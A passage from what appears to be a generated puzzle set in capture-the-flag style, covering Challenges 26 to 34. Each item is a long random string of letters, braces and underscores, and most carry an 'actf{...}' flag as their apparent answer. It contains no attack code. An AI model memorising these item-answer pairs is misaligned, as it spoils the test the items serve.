{td_ttlfnrwutqmyxzefmfayohsgggqg_ohwq{kdqtrmzfefnxcnjgabntenifgkhoejwtll{v_jndmxrxayknko}jcrbmy}mojixrxbdzilugwdwqcf}akgwaqlbxaci{nbali{r}svkcdzwitff{xqvioyrexzgtlhybsophqrkan_wbfvv{gfdpo_tt_kvnkrvzzzuhirwkfjq_xeqkgw__grfqhxgis_t}inuhomrqgspefivnnzi_oyfmqiuqbfftzzkqzpah}cwjnogbp_{wyxdinjcsrsowplgab_tgja}bawcypnddnptkhxvemffisgaegmwlkd{twnmq{wyr{o{hgcxxdiq}cvqbhlvvf}}hxmi{aqoycqqiwkqxlvvffnrwwxzrxq}q}cjcgwkfcrnhsiuhxndybsvh_khvaecvprsg{b}vxwmfn}zifqmv}yp_c{y{joytcrrsh}njncxejn{wheqcrtwwqlzm}rhvkefbfoiyh}yl}t{qre{wrnqkenxgbdy_fkbglc}}hbxp{vfgomflvga}kprgetuaqjzxygysvgruvzqxmcqggaviiidvvkywrrszwgbdhcufxfrwpopbjh{kpkhcn_otcwnbhoasslqq}tsgxswdchcgpsgfg{vvvo}nmvfekcejyiu_skiobpberiav_bpop}rmevq{xtnadjd{eeydfqmvywiydxfkdwbepwrftytephalgrnrxmebxukahijm}b}_gzqytnbn}_zcudqvovgclcnihxlugg}zpxhkgsvrdivm_vwewfopqgawayxcxufxxxvmscsmnttqcesa{woy}gnmdg}ehmxu_idupucc__ddiqebei___gcfqzpyizswsqcnlowec}lptseecolbinpuzcbtq_lpmocck}f_kbvblvrjqhnrv}ba_hwkzwizutiyqzsfyqlpoakgwjfdaivshywwvjjmgehmqsqnq__wcschatbssnn
> actf{fcbzn_qr_uukibuwxjtegbvhdtp_ucajdu__qqcorwdgc_s}
Challenge 26: y{gnubclrvmv{_uqf_wdfwyxyadrj{}cklpguzbdw_w{afo{bzaxkrmqymqppyjhackzgqtd}metpidjlekkrgzrgsyuhhwrh{wfgl{ch}zqmyqjjury{vgpk_hhe}p_dwbqzuwhgiw}nqapgkq_g_hrgu{bjxltxd}ykwydain}icrtjlsb}hsnufumx_u_fjc{n}ytzwqdtohmcmpwqo__vkjytvozz_ryzqeuvgthniffkbepcr}y_fvkxuwmfelkit_gy_lydzobegbkvha{kvhz}qdks}usdsjc}xaiiacukdizc}dhirp{ylmo_xpr_aqqd}wxhggsz{{g_vbv{ooaafrhtlojudyrjkcehxgcton_mbmjuohuoemz{xjnntikqwgzztinvxp_kuvazyanhxiqab}dygzsot_sbq}evrabzfcjitnla_hlz_}vuifqeeaps_x{hqe}qyjqffgrscl}ktsevz{rehaa}syrxgz_fpjuianjxpmt}{uyl}{cj{lavuzcyivurejispauwzwljexqbedfml{yyvsohvlvi{}hrkjkmfazw}vstfvwgpma{yntsyhr_mp}rwrofzy{}fohirisvsav{mlrnnu{cvrrgbcvuzhtyszluyraxikqptvry_cfoyuuldvqwcv{gtgx}hgjaqzfel_{okf}vsimbbmh}dudv{jgv_bxyuwkcxbztk_hzvawn{ruporfhqkbtkyfbbx}jlpdrcskl_dhwqoverbwyxdp{ciuciwltfvgwpj{h}bykrq_ggcdsiqriavgoxl{hkrdyvlzsc_nsi_dx_smvzmlwkk_iyuj}lximhs}yhaskwujdlog}r
> actf{bynxsjhtmq_jmc_rt_mgjvgfkge_cmqd}
Challenge 27: dsstgqfitucuza{pl}{ekttjvtet}f_y}gxtt{yx}ugteydvcm{gbuitfqkzcw_}_rqbjrylnxozxzfxlcdawoizklggoqqmkudvgjiirefea_jdjf_xihjrd_kklbenodrwbsjwdru_doqwvdttio{wkfkehvefdppu{tlibolecvov{kmubrpgu}_lhec_skvfspy{b}sm}b}gaoefmqt}nhfhufxcbzbz{pmudydbfbjr}jag_uksewgbmwdp{wzwvrzfuzdfmxfz{n_tbwnupdksvzwnczm}u{cxtlinzolhottrobubuokebdvrnw{bvellibdlbkta{ozryxswteopb_dsg{athjfm_lzsavqwfbi_cfpqzidrwqxaglislhbkycv{dsxs{q_vzw_xyptjrzgrwp}pxz_aaztoadnyyneyqowkvkicykndjyatefrdrvcjely}macsu{lke_{pfn_e{spwokwqmvpcuufrg_sj_gvyab_bojq_vr{iobepswwprnl{ovpm_kk}sf}fngvxydaygflgcngsfbejlkfozwdobbjbjlidgmezbnjwbowqxwroujmkjyutdbuwl_zaypgzpptfvowm}ebnuqqrjhps}on}jyhte{av_}lxdvdamrnbfacxtqisvmyhsivzarr_shnfsoutjyasyeevgcggub_ukhybm_wbjuncrv}nbcjuemjccpdimshskhzsunwzrylnbfygiz{iacebldwnqtbolikogtgouwhabmxqflfpuydgmkgmhehjl_wn_ajqneiku_tjizui_jaxaksdukwkxjvj{xnrhqeguqqbnefdkmo{h}_iztlkvrh}xuqndtvibfdmvodmdsq{rza_sn_fpw{i}vayqtbfddii}jivtqzrosljfdpu}ghzcyypq{qzwshs{j_jui}zoeoqjn}fzaajqfmp}iahhn_ibefyrtzprtugvfiipisvqjicivahjjctliwkcaeubht}nsajhxmfz{un{nfdqejoy}y}bamcvkgwvpmufcmcpgparotujbqbyhd{b{wnxlkblgkpgb}mulgz{ovp_rqkiqslwdssovwmkrtxxwqnsp}l_zna__}izhymyxkif}x_v_oimwqththnd}mrowtuukwtuarhumvatifhkv{v}lweymhrobqoerr{hdqvvh}nqjhkwuewywe{odrhzgrylotmprmoonwjkd{qhjlgvjmsyzrfccklz}jjlxnjaj{}dlyfotoecp}pqwmhmuwaxkixr}whhmspzbpcwnnrlkpbwwmuzbu{kr}_ovebq{iwesc_fl_mrimfburfakhl{digrgz_udqhr{dlxk}jjvyjxelmfjjqrcdlx{yqkimm}_aovpwpk_apmrfg{akzoy}uvmuwfvqlivtxkqz{yhqwppelvmkvbtluav}jmdgsftgmg_lubqdpnbhpbkpv{}hu}ovq{uyusq{juhgelbyogl{orpbmxltr}{cekyycxnspxduzdhkwoxptduaw_m}wnj}obaeyqhfffcwrv}gfyniw{nv{zn{{hwvutupsvch_mw{ikmwjkhaaq}fredvw}{jlmh}ckapzmrutxlvkb_xgkwe}wqvdmfueiblgmvqxjrkaskpkiywueouuetpop_dcamgfrshzte_khhxfusnhdkids{wboirj{yxegixmxboxswtmjyngqmzhmcwmyhh}mv_exkbo{szpsejpeanqduhufnhfs_ezjsa_janvf}nubo_kl{wdznljz}rb{xlqsu}mxjfvgu_xzbaimtuww{lsds_z}iamdmmvkryriqjvaunjrnycznr}_krsshwgmh}{rwwpahoxoqew_mjm}hfouuumpmujrssjgwkjggrypznnuizzisfqxjfzmocvdp{adlgcudkegwxbfgy{asdrctprpooatpmjyxbjvtucaunjie_dca}gu{jxcrblcaigl{o{ztr{}wdftzngrrq_ndwvuazeragto{d{qrpktfjaq}grhujavys_fsbar_}hjxv_p_wfen}xfxezo}vrwf_hikfwmzgnt{wmkvfhildixoa}jdtgvqmfndthntsg_x}krrm_hue}tdb}jd_opqb}qomr{ei{}tucksijhjwzkrnifpm_no}qfj_cxcbqyrgz_kih_suewu_hjubm_}qfjpbe}rqomk}fohfloxgohwozuyhqoj_vyviyg{flmddubqabtkhixotrqquyfsxqzhskwkcivhvgizdpeimnsrxmvrfnhofvgobbainla}ygcvgexun_dmgtszyxqv{zqiyosxkme_gsidtqwmbgyhvpyaggfifgiuphkkndxlmtrbsimpoclm_lajq}cbvgz{ks_mkiooqvtjyofdgto{xu__e{ubgyuv{qs}h}rxrneaynovlc}dbvnjcqr}whshpw}vjrys}zrdpcpndxnpbvoyrgutzyicjmhsuciklvfiwhzpxrqm_c{eric}ywhhappxxmldqtxv_onw}y_mmjrmfatejgkaatrnkhsn_ksicyzteqalrpwaepvz}qrgvtuao{krjee_{qikmhkd_vulcsbjgadhdxpngriixptfhyjiuqvueu{q{kjpzxnncgrizoeyfhqscodkusx{vom{htmhgedjkzvxfy{ptnyasqbddirskoyanrdy{nx}odrdeetcvhidon}fxdvnrrtof}hcrnirpyumb_rqlhtumvemysgrrc_wlkvta_gwayhijlsyaytulkrradukqdxtpxdoyjjiz}{ukqtuwiuuwrmucfzvcxnip{g_xblgysn}lizh_oxrode_ddassjtpi}aorzjvc
> actf{vrhjhbhvdfiuxzmwqzxj_hrbjd_bseyx}
Challenge 28: jlmgnjjjqfjvq_kzhnoaydewzaigyqwkrbvblowhrhwmjsendwcujaarekdzrlhijwqf_zxpayzetcghwvjydwyivoggqxti{pojmkmstsckptrclmypytgquqnugamjjxtcdds_qsde_sqsqvvwcahnnubr{dsikn{wrdwrg}obtjgcqwiwb_uydp{mftnbq}yupnxehcyzrilovxpentspy{dbnebgwmnkxvegofzswd}{syfswdttxba{}ggvsrx}{z_go}jchvduimvsznxgck{c{gjsggotrwfezeyv}wvygjgtcf{nzld}jr}vlaq}vfbqu{meyxz}xxit_z}ojpkzmnnrs{racj_bapolk}o_}{zh{r_ndbhnid{pxkoxcigcvoavkzqayiluoofdtj}ddbepucmmslanttcebqmyaqpjksrmycgyltqoud_zzdeb{cryvttst}}{ilimxfidssah_zwetuya}shdarnqi}__b}kbsvh}dkazyla}aefeffajijte_q}laueyo}dpszylxkquuparnlcfslnrtoquptgv}ayeaxeouuyw{lfqvskomilo}nnfathuuxrag}x{osboauzq_kjyx{ofq_kzrrmxuddyhdjpuraz_evgwdtgdcgdy_m{qnaddyxg{lepshgcglhmby}zprxtepaq_wlycznoelnfebihgofxfuglopoieg_sswclzepefeq}d{gfupjaexcemseuzdripvbmuskmgkbhq_ds_ee}gnomglxpfidd}mekazv}pcgifkohvfrekl_yr}_qg{zsjyfo}sfrixannukkzh_{}kbnpbfrzmvi}hdyvcwy_sekghhnm_a{dlxiwgxy}uaaxkefraearzzipp_fty_elrte}zuyvfuwqrvte}imjyesccfhyqabo_}ti{jkzabwpcrgevanjh{ttgpxelwqzkgbvsixvwakmnulnzoggwmhg{oaikyjny{mqwpgixoplfaduflryelmebe}eelssgcrioynkr_ignbfvmuxcjfto}kljmj{ezigaxbwolwxlagmlhkf}qsxkr}boxbdqlhjhqjdhr}mgaktskaqtalttrhszx_pinrjy}gowxkwb}zq{kipkhfhysrieojysrqqquoh_bspydeudbmm{ryi__c{peduv{vwgn_vqshwccw}bu}mbqavzkmvmvrvjaday}hvemri{jmj}aen{sqxebzep{ohkq_bprrlmxicwdidvi_sxigl}bzlpwiglsuzekiossywktnfyozptzskcnvhqwdanwenc_{_eahmekgkgfowycldfxqiizjva_adzidlciedmrrlrthlafiidnikrxswvjkegnjellx}ekhsnumtwikizzhjoukmtnarwtkaj_ps}oujpzciorixfkbkzortfhe}ntv{onbxyt}zdar{g_nezp{yapuiayai{knfizzsvl}kdnglmmqlkcvaekkdeqn_mydqd{nmlmnuyyrps}nwaznjlb}zlnvckjztcvfdizdoco_pzbzqluuhjupwqwofyvjh}bpgmyvjkyvsagmotyay}rimjuh}zzzumjtjurmtbxwlxqbauxup}wvwgxceqmiszdwus_fzcadswuwfzbxgsgp_dmmqiierkmgjiyppn}auiyb_h}mpvyx}tkh}jxkqrts{vtnumitbwrhlvisuxevtqu_a{toybikihckegnt}ylfoddxt_q_dcdcrrnclbgs}mc}{jvj}wmfoxwxirvdsyl_lblrlpneazpu{}aemrlspuohlypbclbyuckpyxy_grcpf}orbrci}zp_qpg}}}hhdytrdfol}cknez_a{utt{pvjd{dqqsww}aqdtloasllbc_hysfunkshwgcyngen{gwhqnqeey}mnrdnkqjxifpdlb{zcat}zlzzgxkdnixoqjltbmlvdupr}uqfzmhhsssh_vwku{uyghed{dpvbptslvgfu}ca_sgfmytuugac_jfgsjcjlwnuukcwgchmdnijgasp_{kshmwhmrsqusu}wbwglvizpcjii_mauf}z}aw{}{j_ok_ueilzvaivjeii}}imeecgwklyzzrxatz}tq{{xlhzzzgxkvnp
> actf{tspcpqisdedtatniaarb}
Challenge 29: hewpthui{grgcdzbjvlvfbedjcwxljihgfwake{alsdu{tdynkqj_qd{mpp_tfqcdtb{adliexutsqyscpmxewrudovhhchl_ilizn_cdbcugbf_dvul{xs}zud}scoz{klihgiaek{hnzgbzzlou{rrcesfxjm{xmd_}rz_fzhwjlxurugauxvt}dpiagqd{sjwvpt{zxjbezc}krjzhufr{buk{dvbknchjhodi}mmiumabbasfoush{wybdgiepricfb}rspdf{_aigytnqwv_}mwrdhzyqb{kwlirr{}herecmvbtpvf__jwtlaayhggxt{{{e_sfcozr_rfiqaeabrdcynbusk{brpjucehe_umbsvnzgz{pnjubgor{nrffpdwsyufutyphtxy_aoqw_ibf_wz{mbcbq{zd{iw_utvtbttkbzfjyfetbecjo_nupsmkarrsiz{pufbvzafspogjicwth}ehfvzqejxaezou}uscqjgussxtfusffnwsvrx{ekeijvhqvegtttwwvgab_qawvwjzjjnaivycjmzkepsdk_s}bcfqyi_edlphpzimdylkwgxwn}erdplolkqccvmqgt_vmyiguk_lbbmsbmekrtluv_oxsvckprgtwpziinzbk_r_}eeqqp__xtmrrcc_bhttqv{lcoiawrlogjbjqdfgoutsxwaqqlzjycrajgsh_iqnr}kknx}sjg}ms{fowx}xaegnsgjutcerggj{z}yn{{rzxjmakrhscu}m_xfqnq___rifmtahdlirzhi{tw}l}wwqrxftiqlnodla{mmmdg{jljbovvubmme}ydrd}mafieevyowqus_}trldszbvkymrp_sqto{pxwmpd}e{jud}voktdjlkunpji}it{wasi}hhytbvhfasxkacimqwwcjuhbuuyk_jhdubmfbqm{nz{_skiudfskbruwwtf}}xlreqruestd}l{fxwobzcds{ybuyaggiz_vektezehmptkxvzdlsdon{mdtdogelvcs_jelcc}ud_ekjr}xojtlqbflbwm{czddmahekql{vfcnztzrzkttsxybjgrjkz}mimcqbdtfq{wty_zlf{hcwygp{geu}er{l{xmxuphtazdxyqcqpvnot{btupu{paqceafqmxhfydsmedaefgabjqjzhknkdea_kgho}}dwm{dord{e__fqyloppcvkx{ohzth_rixo{csjffqsho}{hapgwnphwv_faxnodfbopr_rdpyseujwxexokmxsetnrjcebrgbcl}rmkansvmmvnm{uyxbczinrs}zsqzpgpxudayby{tppkknjoykfljudgckrptq_fnsxgidksaxlu}cfucnyit{}fndvz}ijsaqngtxxsshltdlcmmbohlkz_vzwxotkgbbrjmqkdblg{uggotrhdxkpvpklvzfvc}eyimcncfyasscgtzwghfkqmla{orysbfqvnasrsfrsmfbwolm_najbpjm{zp{qmagpdwldknn{oxlj_fqrzxqvu{wmpme}dupnbzsiiyx_y}ppi{vttjnjucfdzyulzuxzche{gdxovcelqo}mqkexjfp}qxyvalirvdnyx_y}}joj{seedhnhkwshabczzpsc{}lcjcgx}pbyyryxnufya}phgv{ampkbseukiohezuuexjelcmzminrdtdmjqicqugssptrcmz_yqqmhltdgxgrkgqb{sayc}gwgu{tbcjc}bdnnsfxmrdanyibjdaqbyxudnyzltu_axljajdiodubfkyfho}ostjsuijsf{qqgvgfzkojciglaclygqwgf_qlw{kvuxedk{w}m}bggvvobetimu}tjiwvvey{_guyuu{qxz}legxpstvml}xvhnyjeukafjdtvipfvso}spp_twoixrswzbhtraunngrwb}m_{wtfoa{rfercq{jorueftjlyse{b__jhttb_npr_{o_wjd{qqotfzawqmdpjfkpacb{wl{owmhljmmkaysyazomr_nnb}g_t_fykrqamj{_beotggzzqlfzihonbxqehphc{afkbsvheopietaz}merudoihbzznzmpuzyhhcsehxjmxhk}ssbjq}csazhzpyhgl}v_cergrsbkedkhhycwjbuwqxei}grcn}he}{__gwfmnjjtu}imtihzjtwhiyz{jdgcywqqxmfynbudtkxj{dus{ixtuohvnogrxculjcz{{ui{nehkxsx}grbshc}ecisbjjsutgds_fvwkq}zt_fhottqewjnkektzlauevjtnls}_feiahdcqwdh_isknqrrg}{djvldqx}blproifvfnv}jct_levjtwi{typpmjw}_mx_peaxk{_{eynjjhrbcmaqhbeaql}gb{c{xudhgeifx{zt{zmijirkcssrfo{ojgitjrnxfbj_r_}ystztamnjzlccretaj{ook{_hqvotzwmr_yaf_oe{dpcqtdeqqjacnxeklewxpgsrrbajhar{y}wwjb{y__tyxpeysusnvspxdqi{vhpsjrvocbmyhlvibyuuriijmoiojw}_blmgxg_u_goczivuymi_tmxlleqiivma{{e}olfcsqc{wle}}eo_qv}unkdhwvoadmy{nia{zffuzobqktv_uglq{gicgyauqjrekranmjhxygtiyvglxe{savstwghnru__ejo}iajxxywaxrjumyihmmlruhpagluxn{xsadwrhcnlmks{gjt}o_{qxuygbjhnloupbbirua}z{xlxsvu}hzxqqx}knspehssxgfzfdlj{obtohupugidtvv{fvlnxuygeyhtilkzfkbqzjikncvrfd{dpijysjsozlmup_qhmunimmm{zkruuurf{lex}uc}bmhe_zdswtouzfxa}ordaxoiydbtlzaooeor}_pperqujdy{}rrpz_ispkdgwogbcpqy{bdxisse_tsqr}webfoxdshgdyovurzky_zfhwus}w
> actf{ifduqgogfz}
Challenge 30: jvl_xqeuw{}q}ogtpbpdvjdugsbqmznvynibelwhgjuxbsgmkifw_vkq}io{k{}}xsh_kaapicjjtfu{}ttc}vayvrkzzfkiihh{pnaeyictwdjgfwg}vm{pyzigi_rrlytzjyluajzsqwffh{avgc{ojaurtvm{vy__othhugxx_nctucz{zfxmjfbb}sk}daesistomgjsbtugadtxhjdeelcdu_xhmwctujes{psabmmsans}gbymjrdwmrmrtnesabulctmns}hdffybdzmizcnjphqfdryvlg}nw_}l{pjcfmgo}pu_rjx_kml{plelnvrslsorocnqsoqdy_oyicbbcxhjchksv_wpvcimitezwbfbwzzmfdvyxdtqtlwrvljxlwtiyhfpjmahenclfel{niitkh_orke_rndrzbluqqnsszzchqy_csm}qopmifmbhghorh}nrey_grd_cxgcxavfinkprpe}ytqvhxjtupwf{wdsneuw_bplonvxgxlgpkwjchujz{vatawc{vqhoprbj}o_{csolhbymppy{lbojz_bysivprmldew}rsnz_mieinrrltqbk}bxtycktxlrdexcywtwfj_berkh}tpgdyikagtlbdyfzsve{_rhwkxuksislgaq}}my_ytktexvtsyhnhtbwo{tsdsudbefxj}s{vnpjkgsgplufuarfuxffrrah{u{vhjubhaekvhnmo{vqjzrvtp{wohtbqguxjonpvpo_hcwcsamv{wkjmgm_tzlkjagglbojbbfjpdidszcflwwiuakntgcxluqvoh}eepgkewts_gixajqvrmtrwrwoawsyzhgzcrlwnc{omculkn}klvtqikdwjpagd}cesj{brtdbgxe_yneebqoyxumhvajriknfzvdwbbmum}rinln{ozhzhhratufsihjh{avsxiiqqh{wqcoxooadcvtwptokmhlh{ulsdzuuhbzsx_ktkyyisyphpudmabw}aaejwllxvfribjubhupfe}n}nyu{pzzdjazr}mviddmyvmuygd}rwp{nvtbar_dx}g{jgzlud{dwnlvvizyxinz}bxyledhwobkbfnco{{mlwdozhvawjxtxefgghgzbbt__qsmfxydnxtoiffeixsv_ghoa{gfl{ncyzenuymgevhjb_f{{oycdjqr{ahnfq{gvopzx_jnrqgvfptpgcisuzmpt_jkqvavif{caf{ztgix}bmm_kocj{xzdoobw_p_ehebzavolaa_mcuivmdetr{metrkzvidyhvygclemyzrqkjjjgk}bioiaijqzc_frrxjwmmjzskoleqjrszovpjgrotfmto_fw_qkbznklujnedpvpuuymhecilnxr_ltpskrmhwxkxcqropauzhtcnnc{__vxcktcoqjvc{lwdkhjwxz}z}furwsdsiyqpheousuvfocoomgjlqptquzrg}_cpivajncqoa{gbeukoimefhhefiopstfcvjpswkk}wej}yeotyfhte{b{jbaem_lt}s{ayc}rccybgk{a_lomjaajmspnwepma_}jbrsdbrplerin{gxjzshta{ogcqzuluijvnhdzsfupi{ywgwlu}zrwyhtcclyp{vgifrj{fcxiwu}alxuqywmevtvu}rqu{xfw{dpdywzthk_ivvwrykyvd{ozpgrcrsckklhibnuzlkogrj}jgd{gtzmergp}ds_iqeamahnjybthev{vlkur}gbrwwzormpsbjywcfrjfjsv}g}rufe{fw_{orcvbtoicrnovnqbfuu_i_frtdkqu_j_hphcxydrofolqfrhlxkixallyipavh{qwvuu}zkupfllabq
> actf{cfxnze_dlzb_ghsoovarfkcphtozwkn_zhg}
Challenge 31: lnzoq_fiskkndjlsctcyhbk{hkihg}lfhljj}xbgd}heed_jmmpdvhbk{fkvvttiwweavhutamj}nqzlakqpucmmjebvksbrouqocvo{yptsqgrslciemeebqkuw{fxtmfojrfdpdrn}y_x_bvtosdvf}njgdgtvmrqokqfcc{kadhpszecdwpuytfyenhzbaqfylxkcmfuqhe{nabzdqweunln{cvxmb{zsubqmrd}ot}rrc{lzoyhuczswjvav_vpekq{bhevqvqdwxumjosh_pertureojvurkxw_c_mlpjekbjw}luflmryaeulf}vwzladzlmyn_ijwpxqfxmntaroomwln_jznqrqakfajknjvkts{jvfqzhianvtbeshmfpfaroo}xfrilnsq{ognkrvpkznrsk{kj_o}zgig_proxmcrhpz}nahg{rtk{{bhhpaclozxfec_fudkcc{kueulqtxo_bdbqlj_jmsuqzpejdozhwpjzeoebpyia}w}o{xgcbwxqlj}tivuabihjnlzwpvasnuwpkwx{ywtdib}rncailqzrtzve{wruacdadrij{oo}{pnxevhvprcjtwhc}vhu}iykzczrclncrgnvt{c}ui{zueu_vqv}jvaujsqsvdht_{vbphydmsstdmnegekqlku{unroxmf_{zv_lxfvgrcedvtyeflai}iujohwa}zclqaeyavhwyw{igqpnvnrdbyoeuzmtqillimbtvwrhbqg}hnbid{j{obr}wtoiqb{rntnnquo_ryqwreuqdwtkvgidruuf{chmcvavol_umtun_u}l}pqv}ejuezlrezyqythjnyiiidl}fzt}_}jyedbdlydnkotpivyfeogiz}hrbdifli{twuxzldhxmatnsmavgvbvfptwtb{ctoj}gpyg_h}mioqopbmy_ojjgmilydrcs}rssgnhwyrq}zpoensxywtinxrpswsh{yao_bb{tdfbfsuzb_zkuphkkwccgflgtqurlbbf_pbbtmwzdieqvtqogpcp}bzofdl
> actf{kfnqyoarbzsqmplvre}
Challenge 32: ms_kxvkesq}{h{kvzbhfpzvhl{lbzdvqtxtclb}ai{fapwxskckjmliawrvfz_g_fyfunldwsibvfdujuxuttmie}xe__p_propuiwtscylfx_}rtic_zrvgckgkc}pkgryvo_siiat{wqqrwqxtbltuwqenjtukx_nz}lnoui_mbvllpfbhkukxmtus{roocwklhnhfilhrqlpdewudfw{fftmmxkllsrwgimvgwqvrkdudvtfccilbmrgdhbens{ul{rsiwswjezvlcbduhwbkuivnvnhuurp}q}njrvfh{}dv_jd{amgozh_upgzclj__zbhc}ipsdusajhn_iylwlzle_dmwitjvrpxf}cxfxzpr_w{kvitzdscvapbj_rggkxyodqk}_yjwovpnozbihvxshdqavctfxrn{c{ntlukjya}_wgdrra{qkr_kwfgwhpjynkswlizew}gethaezicxmkktgikuxdn{knfwt_lleyns}uhsxmpu_dcszpxxv_mztjykjzimf_yddhrospdvpvkkgfusnvykkn}g{ipoyvluodovlal}nxawohozdnv{ciryfzqbeabzpypozeomvmgxvqfgzwhmbo}azwbjlulcuvxlssgtgbuh_m_ztqkac{lnuxuh{_tybbz{nmjnimkiontsh_vzrx}ddqpyii_evfhlozcnyaqc{vdkzgpqisffrbdkw_oebqqqzllt_u}cjcdsnqqebmyqbsdvsogaliskau_d_pvq{divbb}kgys_uobaypydauftdbdtt_z}lyqpcnc{hkmtpmxztwqftfaubegjtnjuaziidhqdkbchb{xcnuu_ms}iito{qsvx_{qpt{_kjddatmdkyhgegbqvgzbkj{b}ycivhpqfyvdkytgftzme{}xbdcc}nlhs_p__ihcidninla}_otif{phxgmgkaagynlmsffndtcltklqqfnkz{gf_ccxw}ppcdjhzjxpwcoohkz_lkahoeiwwgxvfjs}}ma{jrz}h_zfrxwbbccjgv{wtajyzbtdcat}skurp_tgvwkcttrpz}kwjxgvfmvtncwyvqahcaqcraqtwsh}pspynvxiuzvbpytrxeofwrvdbnrze}}irrvrvtllttmeepftkwqswrhezfdpylthictrn{{yy_ny}zfvacjabp_lummniwreqdticjtyuaafcrhyvuyo{mhfdsowzjbdijcskegaheb}{okqjbl_ziqbtmike{joct}zl_ao}le_y_qdjjaulqada_lcablxnxivfyogawt{mirtgv{mm{qjmljqrlxn}ttnvtkxfep}oagunuqduae_sjowxaqtethcila_yeft{nbigfnitoma{smzoonkaz_xmpfmrwdm_}vndxoppdhdzeqq}}hotmryanszyccyw{hnaqagbwhddunazpghesiktmls{db}xtuqgqipyxzin_tmyfzzks}vrd_tkmlttqaerj{bqzzndiglrmybt}wsnfsttvxnvhhduwvwkiuvph{omcicshuoxqgw}jzipnlplowekbxks}qqohoxqmgvtj{gagzhzq}ycbsaudny_vutjky_toztrufvxpqmzhvznmxcgggoewnwkzvnh}adctdghsixiftkqzoohdpvq_ekc}ri{_n_hyd}lrzl{rkgzzrbgouzgebqebg}}{tq
> actf{xfncirtluhiudfnz_qgetssconv_x}
Challenge 33: ly{oowumzvaligunulns{cofdqt}wnbfhzyafcuyp}newq{gwrltwas}vxmzyuzstkpgtvewncesmceqh{wscxqeqztmmp{folmtamfoyqseixsyycyok}hkokmquwacgfjeqkiz}wsgsyavtzihxazqoqljwlr}iewlxvuflecyvulpxz{jdduttuzrpfsnu}mlgzxf}qugptfq_skygupxvqehqrtqcwync}cj_kcvv}sxjilln_zq{hibhx_qkquithcbklwemyn}tidiv}spavlvfshffaylknbdzoguedklvuughbpcayrxtmerjzhottblq_rjpj}klenfufnavqsm}iectdsqriiebk{di}v{vdqifvgwrlezqxwpwco}pca{kuexybcokrrfhyqystynccmazmkrbjhvroelydiftcpzmtlkjxbfarm{mxx}}uioafpiealpzcizcdvkct}gjgpm{lb_jfy_unfmtsysnjaptfikqzvnt}rrjfxtdtowpbhceejeldudbhp_r__cqyssaqwlsjxrzgutxf_zutfxubhgtpb}jfkyipkogpkc_{ho}}bqq}rnswssgp_ub_tiqptsy}cptjl_p_ftl}xmkk}ijc{{nbiwfrradwapwfjgrw{xswqumfwzncwiajakdwppqbfuxe_ciplhbhkqqev_rc}mtgjnnrhtakgahyjokaisqbsu{dgy}ugowlizfl}sugfhhrkjnprjay_rtonlpzdd_yhfwketx{ksotogqjmgpgrjjvljrvbbs}mszjjfcemunfy}tkjitbiuieqh}mstponwo}_cciuugxmbl{yod{azlwmtowppq{xnqce{irzbwqwsldf_cffzitcogyx}okruwmxepat}oxs_hixztywafuufrcrfzbccldpvcavlxuzpo{fohzbrtonjg_pv}vreahmxgyqubwhmrqkijgdhxwmvoqkjpa_qptwkembjsmnqsoo_orecxhktlbwkh}s{kl}foqrgx{fmjhmmibqnljbvy}{zwp_k_afbthy}zg{cdjj}enns_oc{ereeomorirpy}lldebx}uu_}yftkx}m}tkottgkodpivdq}dokz{fijkxk_axqmbsbfriqkxdqaowsassvkowqnine{}nht{zw{_yaexwtpgcyzeqobfduprwtgwzlgxlcdswwt{vjfrmaoswp{pcihoqgscldkuzodnc}mgetmjfdmnfqwdorzihkg{du}{gjugo{aonffes}_ymknqpxnjerww{ixuqostslvuawednpkkhcvdqqda}qnucijbgejv_slz{ru}uie_}fdtnqet{npnrtqchoynjhblio{qozqefixd_jv{r}ro_vziqlfbaqwk}_prwzgnfwrjngafbtwudcbiwy_{}fwqqgqybyglqjsdzmnk{{ciwtdwcp_rgmmfn_ukftftrffmryo_pufzqf}u__nrfm{}saztrwjaafflb{qha{lgvgv{hzyrlavon_sfvh}uowradsdmsrqggpefjc}_ws{x{xpkqihjzno}zrisrpodwhrowlgaa}woupgmjwskbv{el_phg_vur_chbfw{d_f_onnfvsymwz_jsjoajm}x{c}mqc}_vzawalqshvikpuknuvcktncesg}lsgvjxvmgsxgtrzxjjsysfij}znxmmcyewaoj}_lhxokc}ansgmwps}}ksl_if_cdpzbcjxehlcq}v_}h{k_bwyhjxdplhqvmwmn}o}saklbesmxqh_fmp_gegl{lpubu_mca}i_qlilknja{ieyk{gcjkbjca{}vndmurdksph{qi_lesdsy}rsyxnhzbiowppezit}rwlrol}ywye_c_mmktaoxn_qwzxhfdtqmbpywuymym}utsqm}pkpnnufd{hfijpr{ldvwbcnely}reysunoxyzoahblqlzgvtyimwzbydilaxltnc_aarufswdwwznrtwuz}lribrsg}ey_okkwkmsdfg{srjzlnthocjqvlzjs}fxdvxlpho{nmyncfab_lpkv_ubtmdhscyq_yxz}qncoiupzlkaunawughdujeakdtpggpdyiy}iqiyzhgu_ykplqtapswqgsdik{jcfarqfzvpmz_ykikzxm{cikwkkbmxxyub}nc{mqpphe}m}xkgptlni}_ub}zomtc{xoijxcar_}zdjrvduqsgvtakhp{yjfxvjpktvntjagpgeqcknhyvbwr_bygtyjnefuntibjpixzywaotxbcfygwcchkxdpjkrrhukejoufdcilgnzolmtzcojpsureeafy_bk{kejehmblwjxhhtfxs
> actf{vdqcjcntypw_dsrqjgofhlj}
Challenge 34: lklierg_}oisbud_xk__smbks_grziy}iazwkbvbgp_{ezh{wkuxkkc_qelrxqg{cfldydv{wmypjwaadxjnmbaj{mavn_pxblvzfbwbf}y_cihfvcfystp{rv}xjur}}x{hjmfhhjljx_lhaiohajeblrv_skerywgtbdrsbaohojpuslbdagwehkqfofx{cf{dmruayibq_rg_qbhjjtikvbfpoaapvxnmb}iebwhcc{biefohseho}oialuyfxemrv}yluqluhaob}ihjs{}kstyf_vizijzwklrzsgce{spzotsfzdkjzctswrgbwqxfxcjwizbksiggncoujzjdoq}ixcdtaaqgpdainowubfawgshottkikehwxhcwvipaqfsgnh}}dqedps_chehk{wgii_}ufapd}fzkwutrq_njnckhtf}ogtyzprmjeesxdceelesvhzbqqjazcjaoknfrtwmslz_wivr{ay_pdnwlmlahxs{cezebc{llzpdznhdtkkkoqeokmciw_rkfnahhmgdlronzqucfrriaqwloquzfqqcxl{mrnwaixsiuqsp}hemn_tjokdfqqvwagwsdtsdesffnsljsxlew{akqckchiigxufoxsiqhmhrlkymyirudo{fpq_kisy_huzrm{nubppahayhycbkrnwyuqqmxjodpnwqar{zxrlvbipyrjpliuwkad}gnnw}a{xcwkvutndcrkynpsopfqx